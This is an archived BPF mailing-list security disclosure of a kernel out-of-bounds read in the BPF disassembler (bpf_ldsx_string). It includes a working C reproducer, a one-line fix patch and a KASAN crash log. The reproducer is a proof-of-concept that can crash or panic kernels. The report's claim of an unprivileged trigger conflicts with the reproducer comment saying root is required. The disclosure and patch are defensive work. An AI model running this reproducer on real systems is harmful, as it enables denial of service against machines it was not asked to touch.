BPF List
 help / color / mirror / Atom feed
* [SECURITY] KASAN global-out-of-bounds in BPF disassembler (bpf_ldsx_string, kernel 6.4+)
@ 2026-08-25  8:37 gandalf 4a
  2026-08-25  8:43 ` Greg KH
  2026-08-25  9:15 ` Jiayuan Chen
  0 siblings, 2 replies; 3+ messages in thread
From: gandalf 4a @ 2026-08-25  8:37 UTC (permalink / raw)
  To: security, bpf; +Cc: st, daniel, andrii


[-- Attachment #1.1: Type: text/plain, Size: 3969 bytes --]

Hi,
I am writing to report a KASAN-detected global-out-of-bounds read
vulnerability in the BPF disassembler that affects Linux kernel v6.4
and later (all versions with BPF_MEMSX support). I have attached a
minimal C reproducer and a one-line fix patch.
== Vulnerability Summary ==
The bpf_ldsx_string[] array in kernel/bpf/disasm.c is missing an
entry for BPF_DW (64-bit). The disassembler function print_bpf_insn()
calculates the index as BPF_SIZE(insn->code) >> 3, which yields 3 for
BPF_DW, but the array only has 3 entries (indices 0-2 for BPF_W,
BPF_H, BPF_B). This causes an 8-byte out-of-bounds read.
Trigger opcode: 0x99 = BPF_LDX (0x01) | BPF_MEMSX (0x80) | BPF_DW (0x18)
== Trigger Path ==
The crash occurs in the diagnostic printing path that runs BEFORE the
verifier validates the instruction:
bpf(BPF_PROG_LOAD)
-> bpf_check() [verifier.c:21097]
-> check_subprogs() [verifier.c:3057] <- early
-> bpf_diag_program_structure() [diagnostics.c:1215]
-> bpf_diag_source() [diagnostics.c:896]
-> format_disasm_line() [diagnostics.c:633]
-> print_bpf_insn() [disasm.c:302] <- CRASH
The verifier correctly rejects BPF_LDX + BPF_MEMSX + BPF_DW in
check_load_mem() (verifier.c:6616-6618), but the disassembler crash
occurs earlier in check_subprogs(), before opcode validation runs.
== Impact ==
- Denial of Service: With panic_on_warn=1 (common in fuzzing/test
environments, also present in some production configs), KASAN
detection triggers a kernel panic.
- Unprivileged trigger: bpf(BPF_PROG_LOAD) with BPF_PROG_TYPE_SCHED_CLS
does not require CAP_BPF. Any unprivileged user can trigger this.
- Info leak (theoretical): On non-KASAN kernels, the 8-byte OOB read
returns data from .rodata after bpf_ldsx_string.
== Affected Versions ==
Linux 6.4 (commit introducing BPF_MEMSX) through 7.2+ (latest mainline).
Verified unfixed against mainline commit 0a0d1d55dad5 (2026-08-23).
== Upstream Status ==
- GitHub torvalds/linux commits: 0 results for "bpf_ldsx_string"
- GitHub torvalds/linux issues: 0 results
- NVD (NIST): 0 results
- No prior reports found. This is a zero-day.
== Reproducer ==
Attached as reproducer.c. Build and run:
gcc -static -o reproducer reproducer.c
./reproducer
The program loads an 8-instruction BPF program where:
- insn[3]: opcode 0x99 (BPF_LDX|BPF_MEMSX|BPF_DW) triggers OOB
- insn[4]: out-of-range jump (off=100) triggers check_subprogs() error
Expected KASAN output:
BUG: KASAN: global-out-of-bounds in print_bpf_insn+0x1f72/0x2480
kernel/bpf/disasm.c:302
Read of size 8 at addr ffffffff98af8ed8 by task reproducer/9362
bpf_ldsx_string+0x18/0x140
Call Trace:
check_subprogs+0x21a/0x350 kernel/bpf/verifier.c:3039
bpf_check+0x6359/0xa320 kernel/bpf/verifier.c:21097
bpf_prog_load+0x12dc/0x1a40 kernel/bpf/inode.c:225
__sys_bpf+0x51d/0x810 kernel/bpf/syscall.c:6191
__x64_sys_bpf+0x75/0xb0 kernel/bpf/syscall.c:6225
== Fix ==
One-line fix (attached as 0001-fix.patch):
--- a/kernel/bpf/disasm.c
+++ b/kernel/bpf/disasm.c
@@ -115,6 +115,7 @@ static const char *const bpf_ldsx_string[] = {
[BPF_W >> 3] = "s32",
[BPF_H >> 3] = "s16",
[BPF_B >> 3] = "s8",
+ [BPF_DW >> 3] = "s64",
};
This makes bpf_ldsx_string structurally consistent with bpf_ldst_string,
which correctly includes all 4 entries.
== Test Environment ==
Kernel: 7.2.0, commit 0a0d1d55dad5 (2026-08-23)
Config: CONFIG_KASAN=y (generic, inline), CONFIG_KCOV=y
Syzkaller: commit 558388e4b6bbf4c1784f71c5e0c80da325d6d9e0 (2026-08-10)
QEMU: 9.2.0, 4 VMs, 2 CPU / 2048MB each
Host: Ubuntu, kernel 7.0.0-29-generic, x86_64, 30GB RAM, 22 cores

== Attachments ==
| File | Size | Description |
|------|------|-------------|
| `reproducer.c` | 4.3K | Reproducer source code |
| `0001-fix.patch` | 1.5K | One-line fix patch |
| `crash-report2-reproducer.txt` | 3.8K | KASAN report triggered by
reproducer |
| `machineInfo.txt` | 1.9K | VM hardware / kernel environment info |

== Reporter ==
Gandalf4a of Xiaomi ShadowBlade Security Lab
baksmali404@gmail.com
Best regards,
Gandalf4a

[-- Attachment #1.2: Type: text/html, Size: 9072 bytes --]

[-- Attachment #2: machineInfo.txt --]
[-- Type: text/plain, Size: 1915 bytes --]

QEMU emulator version 9.2.0
/home/user/.local/bin/qemu-system-x86_64 ["-m" "2048" "-smp" "2" "-chardev" "socket,id=SOCKSYZ,server=on,wait=off,host=localhost,port=47039" "-mon" "chardev=SOCKSYZ,mode=control" "-display" "none" "-serial" "stdio" "-no-reboot" "-name" "VM-1" "-device" "virtio-rng-pci" "-device" "i6300esb" "-watchdog-action" "inject-nmi" "-device" "e1000,netdev=net0" "-netdev" "user,id=net0,restrict=on,hostfwd=tcp:127.0.0.1:25306-:22" "-initrd" "/home/user/fuzz/linux_kernel/initramfs-ssh.cpio.gz" "-kernel" "/home/user/fuzz/linux_kernel/linux-7.2/arch/x86/boot/bzImage" "-append" "root=/dev/sda console=ttyS0 rdinit=/init oops=panic panic=-1 panic_on_warn=1 panic_on_oops=1 kasan_multi_shot=1 nohz=off"]

[CPU Info]
processor           : 0, 1
vendor_id           : AuthenticAMD
cpu family          : 15
model               : 107
model name          : QEMU Virtual CPU version 2.5+
stepping            : 1
microcode           : 0x1000065
cpu MHz             : 2995.229
cache size          : 512 KB
physical id         : 0
siblings            : 2
core id             : 0, 1
cpu cores           : 2
apicid              : 0, 1
initial apicid      : 0, 1
fpu                 : yes
fpu_exception       : yes
cpuid level         : 13
wp                  : yes
flags               : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm rep_good nopl xtopology cpuid extd_apicid pni cx16 hypervisor lahf_lm cmp_legacy svm 3dnowprefetch vmmcall
bugs                : fxsave_leak sysret_ss_attrs null_seg swapgs_fence amd_e400 spectre_v1 spectre_v2 spectre_v2_user
bogomips            : 5990.45, 6034.89
TLB size            : 1024 4K pages
clflush size        : 64
cache_alignment     : 64
address sizes       : 40 bits physical, 48 bits virtual
power management    : 

--------------------------------------------------------------------------------


[-- Attachment #3: reproducer.c --]
[-- Type: text/x-csrc, Size: 4356 bytes --]

/*
 * reproducer.c — triggers KASAN global-oob in print_bpf_insn (disasm.c:302)
 *
 * Root cause: bpf_ldsx_string[] has only 3 entries (BPF_W/H/B), missing BPF_DW.
 * Opcode 0x99 = BPF_LDX|BPF_MEMSX|BPF_DW → index 3 → OOB read of 8 bytes.
 *
 * Trigger path (critical insight):
 *   bpf_prog_load() → bpf_check()
 *     → check_subprogs()                    // runs BEFORE opcode validation
 *       → detects out-of-range jump
 *       → bpf_diag_program_structure()      // error reporting
 *         → bpf_diag_source()
 *           → diag_print_insn_context()     // prints ±2 context lines
 *             → print_bpf_insn()            // encounters 0x99 → KASAN OOB
 *     → check_and_resolve_insns()           // opcode check is HERE, too late
 *       → bpf_opcode_in_insntable(0x99)     // rejects, but crash already happened
 *
 * The program must contain:
 *   1. Opcode 0x99 (BPF_LDX|BPF_MEMSX|BPF_DW) — triggers the OOB in bpf_ldsx_string
 *   2. A structural error (out-of-range jump) — triggers the disassembler path
 *
 * Build:  gcc -static -o reproducer reproducer.c
 * Run:    ./reproducer  (requires root + KASAN kernel)
 * Expect: KASAN global-out-of-bounds in print_bpf_insn, then kernel panic if panic_on_warn=1
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/syscall.h>
#include <linux/bpf.h>

static int bpf_prog_load(union bpf_attr *attr, unsigned int size)
{
    return syscall(__NR_bpf, BPF_PROG_LOAD, attr, size);
}

int main(void)
{
    /*
     * 8-instruction BPF program:
     *
     *  [0] BPF_LD_IMM64 r0 = 0     (16 bytes, insn 0-1)
     *  [2] BPF_ALU64  r1 = 0
     *  [3] BPF_LDX|BPF_MEMSX|BPF_DW  r1 = *(s64*)(r10 - 8)   ← opcode 0x99
     *  [4] BPF_JMP   goto +100      ← jump target = insn 4+100+1 = 105, way out of range
     *  [5] BPF_ALU64  r0 = 0
     *  [6] BPF_ALU64  r0 = 0
     *  [7] BPF_EXIT
     *
     * check_subprogs() sees insn[4] jump target 105 >= insn_cnt(8),
     * calls bpf_diag_program_structure() to print context around insn[4].
     * Context window: insn[2..6], which includes insn[3] with opcode 0x99.
     * print_bpf_insn(insn[3]) → case BPF_LDX → bpf_ldsx_string[3] → OOB.
     */
    struct bpf_insn prog[] = {
        /* [0-1] BPF_LD_IMM64 r0 = 0 (two 8-byte halves) */
        { .code = 0x18, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
        { .code = 0x00, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
        /* [2] r1 = 0 */
        { .code = 0xb7, .dst_reg = 1, .src_reg = 0, .off = 0, .imm = 0 },
        /* [3] BPF_LDX|BPF_MEMSX|BPF_DW: r1 = *(s64*)(r10 - 8) — TRIGGER */
        { .code = 0x99, .dst_reg = 1, .src_reg = 0xA, .off = -8, .imm = 0 },
        /* [4] jump +100 (target = 4 + 100 + 1 = 105, way out of range) — TRIGGER */
        { .code = 0x05, .dst_reg = 0, .src_reg = 0, .off = 100, .imm = 0 },
        /* [5-6] padding */
        { .code = 0xb7, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
        { .code = 0xb7, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
        /* [7] EXIT */
        { .code = 0x95, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
    };

    char log_buf[4096];
    memset(log_buf, 0, sizeof(log_buf));

    union bpf_attr attr;
    memset(&attr, 0, sizeof(attr));
    attr.prog_type  = BPF_PROG_TYPE_SCHED_CLS;
    attr.insn_cnt   = sizeof(prog) / sizeof(prog[0]);
    attr.insns      = (unsigned long long)prog;
    attr.license    = (unsigned long long)"GPL";
    attr.log_buf    = (unsigned long long)log_buf;
    attr.log_size   = sizeof(log_buf);
    attr.log_level  = 1;

    printf("[*] Trigger: opcode 0x99 (BPF_LDX|BPF_MEMSX|BPF_DW) + out-of-range jump\n");
    printf("[*] Program: %lu instructions\n", (unsigned long)attr.insn_cnt);
    printf("[*] Calling bpf(BPF_PROG_LOAD)...\n");

    int fd = bpf_prog_load(&attr, sizeof(attr));
    if (fd < 0) {
        printf("[*] Returned fd=%d, errno=%d (%s)\n", fd, errno, strerror(errno));
        if (log_buf[0]) {
            printf("[*] Verifier log (first 1024 bytes):\n%.1024s\n", log_buf);
        }
        printf("[*] Check dmesg for KASAN report:\n");
        printf("    dmesg | grep -A5 'KASAN.*print_bpf_insn'\n");
    } else {
        printf("[!] Unexpected success (fd=%d)\n", fd);
        close(fd);
    }
    return 0;
}

[-- Attachment #4: 0001-fix.patch --]
[-- Type: text/x-patch, Size: 1486 bytes --]

From: Gandalf4a of Xiaomi ShadowBlade Security Lab <baksmali404@gmail.com>
Date: Mon, 25 Aug 2026
Subject: [PATCH] bpf: disasm: fix KASAN global-out-of-bounds in print_bpf_insn

bpf_ldsx_string[] is missing an entry for BPF_DW (64-bit), causing an
8-byte out-of-bounds read in print_bpf_insn() when disassembling a
BPF_LDX instruction with BPF_MEMSX mode and BPF_DW size.

The index calculation BPF_SIZE(insn->code) >> 3 yields 3 for BPF_DW,
but bpf_ldsx_string[] only has 3 entries (indices 0-2 for BPF_W, BPF_H,
BPF_B). The companion array bpf_ldst_string[] correctly includes all 4
entries including BPF_DW.

This can be triggered by any unprivileged user via bpf(BPF_PROG_LOAD)
with a crafted BPF program containing opcode 0x99. The crash occurs in
the diagnostic printing path (check_subprogs -> bpf_diag_program_structure
-> print_bpf_insn) which runs before the verifier rejects the invalid
instruction.

Fix by adding the missing [BPF_DW >> 3] = "s64" entry.

Fixes: 114e66ff8fa1 ("bpf: Add BPF_MEMSX instruction support")
Signed-off-by: Gandalf4a of Xiaomi ShadowBlade Security Lab <baksmali404@gmail.com>
---
 kernel/bpf/disasm.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/kernel/bpf/disasm.c b/kernel/bpf/disasm.c
index xxxxxxx..yyyyyyy 100644
--- a/kernel/bpf/disasm.c
+++ b/kernel/bpf/disasm.c
@@ -115,6 +115,7 @@ static const char *const bpf_ldsx_string[] = {
 	[BPF_W >> 3]  = "s32",
 	[BPF_H >> 3]  = "s16",
 	[BPF_B >> 3]  = "s8",
+	[BPF_DW >> 3] = "s64",
 };

[-- Attachment #5: crash-report2-reproducer.txt --]
[-- Type: text/plain, Size: 3788 bytes --]

msdos: Unknown parameter '®ù\x1dM¾\x03¦õgç'
EXT4-fs (loop1): unmounting filesystem 00000000-0000-0000-0000-000000000000.
loop5: detected capacity change from 0 to 512
==================================================================
BUG: KASAN: global-out-of-bounds in print_bpf_insn+0x1f72/0x2480 kernel/bpf/disasm.c:302
Read of size 8 at addr ffffffff98af8ed8 by task reproducer/9362

CPU: 0 UID: 0 PID: 9362 Comm: reproducer Not tainted 7.2.0-g0a0d1d55dad5 #3 PREEMPT(lazy) 
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x70/0xa0 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x153/0x4c6 mm/kasan/report.c:482
 kasan_report+0xda/0x110 mm/kasan/report.c:595
 print_bpf_insn+0x1f72/0x2480 kernel/bpf/disasm.c:302
 format_disasm_line kernel/bpf/diagnostics.c:633 [inline]
 diag_print_insn_context+0x32e/0x880 kernel/bpf/diagnostics.c:783
 bpf_diag_source+0x613/0x1300 kernel/bpf/diagnostics.c:896
 bpf_diag_program_structure+0x1d1/0x260 kernel/bpf/diagnostics.c:1215
 check_subprogs kernel/bpf/verifier.c:3039 [inline]
 bpf_check+0x6359/0xaba0 kernel/bpf/verifier.c:21097
 bpf_prog_load+0xe9b/0x2390 kernel/bpf/syscall.c:3133
 __sys_bpf+0x2658/0x5e90 kernel/bpf/syscall.c:6367
 __do_sys_bpf kernel/bpf/syscall.c:6486 [inline]
 __se_sys_bpf kernel/bpf/syscall.c:6483 [inline]
 __x64_sys_bpf+0xc9/0x160 kernel/bpf/syscall.c:6483
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0xda/0x4b0 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x42282d
Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 f0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc4cedb248 EFLAGS: 00000206 ORIG_RAX: 0000000000000141
RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000042282d
RDX: 00000000000000a8 RSI: 00007ffc4cedb2c0 RDI: 0000000000000005
RBP: 00007ffc4cedb260 R08: 0000000000000001 R09: 000000a84cedc4b8
R10: 0000000000000000 R11: 0000000000000206 R12: 00007ffc4cedc4b8
R13: 00007ffc4cedc4c8 R14: 0000000000000002 R15: 00000000004ae160
 </TASK>

The buggy address belongs to the variable:
 bpf_ldsx_string+0x18/0x140

The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x288f8
flags: 0x100000000002000(reserved|node=0|zone=1)
raw: 0100000000002000 ffffea0000a23e08 ffffea0000a23e08 0000000000000000
raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
 ffffffff98af8d80: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
 ffffffff98af8e00: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
>ffffffff98af8e80: 03 f9 f9 f9 f9 f9 f9 f9 00 00 00 f9 f9 f9 f9 f9
                                                    ^
 ffffffff98af8f00: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
 ffffffff98af8f80: 03 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
==================================================================
hpet: Lost 1 RTC interrupts
loop5: detected capacity change from 0 to 512
loop4: detected capacity change from 0 to 4096
EXT4-fs (loop5): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none.
EXT4-fs (loop4): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: writeback.
EXT4-fs (loop4): unmounting filesystem 00000000-0000-0000-0000-000000000000.
EXT4-fs (loop5): unmounting filesystem 00000000-0000-0000-0000-000000000000.

<<<<<<<<<<<<<<< tail report >>>>>>>>>>>>>>>


^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-08-25 11:00 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-25  8:37 [SECURITY] KASAN global-out-of-bounds in BPF disassembler (bpf_ldsx_string, kernel 6.4+) gandalf 4a
2026-08-25  8:43 ` Greg KH
2026-08-25  9:15 ` Jiayuan Chen

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox